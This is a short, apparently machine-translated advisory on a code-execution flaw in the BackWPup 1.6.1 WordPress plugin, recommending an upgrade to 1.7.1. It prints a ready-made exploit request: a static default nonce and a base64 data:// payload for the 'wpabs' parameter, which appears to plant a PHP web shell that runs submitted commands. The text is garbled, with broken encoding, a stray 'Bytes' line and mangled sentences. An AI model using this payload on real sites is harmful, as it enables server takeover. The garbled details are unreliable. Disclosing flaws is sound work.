WordPress plugin BackWPup remote and Local Code Execution Vulnerability and repair

Brief description: A vulnerability is detected in the WordPress plugin BackWPup.
1.6.1 attackers can execute local or remote code on the webpage.
Server. Input to the component "wp_xml_export.php" through
The "wpabs" variable allows inclusion and execution locally or remotely
PHP files, as long as the value of "_ nonce" is well known. Value in "_ nonce"
Depends on a static constant, which is not defined in the script.
The default value is "822728c8d9 ".

Description: wp_xml_export.php? _ Nonce = 822728c8d9 & wpabs = data: // text/plain; base64, PGZ
Vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8 % 2 bIiBtZX
Bytes
Ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0 % 2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
SneCddfWA7ID8 % 2bPC9wcmU % 2bPD8gZGllKCk7ID8% 2 bCgo % 3d

Vulnerability proof: affected version. 1.6.1 (verification), there may be other
Solution: upgrade to version 1.7.1.